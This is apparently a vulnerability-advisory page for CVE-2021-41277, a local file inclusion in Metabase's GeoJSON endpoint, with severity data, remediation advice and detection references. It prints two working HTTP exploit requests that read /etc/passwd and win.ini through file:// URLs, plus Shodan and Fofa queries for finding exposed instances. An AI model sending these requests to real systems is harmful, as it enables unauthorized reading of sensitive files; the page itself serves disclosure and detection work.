🔙 목록으로 돌아가기

CVE-2021-41277: Metabase - Local File Inclusion

TitleMetabase - Local File Inclusion
Author0x_Akoko,DhiyaneshDK
SeverityHigh
ImpactThe vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.
RemediationThis issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
CVSS Score7.5
EPSS Score0.94408
CVE IDCVE-2021-41277
CWE IDCWE-22,CWE-200
Shodan Queryhttp.title:"Metabase"http.title:"metabase"
Fofa Queryapp="Metabase"title="metabase"app="metabase"
Tags cve2021 cve metabase lfi kev vkev vuln

🔍 Vulnerability Description

Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (admin->settings->maps->custom maps->add a map) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.

🌐 HTTP Request

GET /api/geojson?url=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /api/geojson?url=file:///c://windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41277.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41277.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A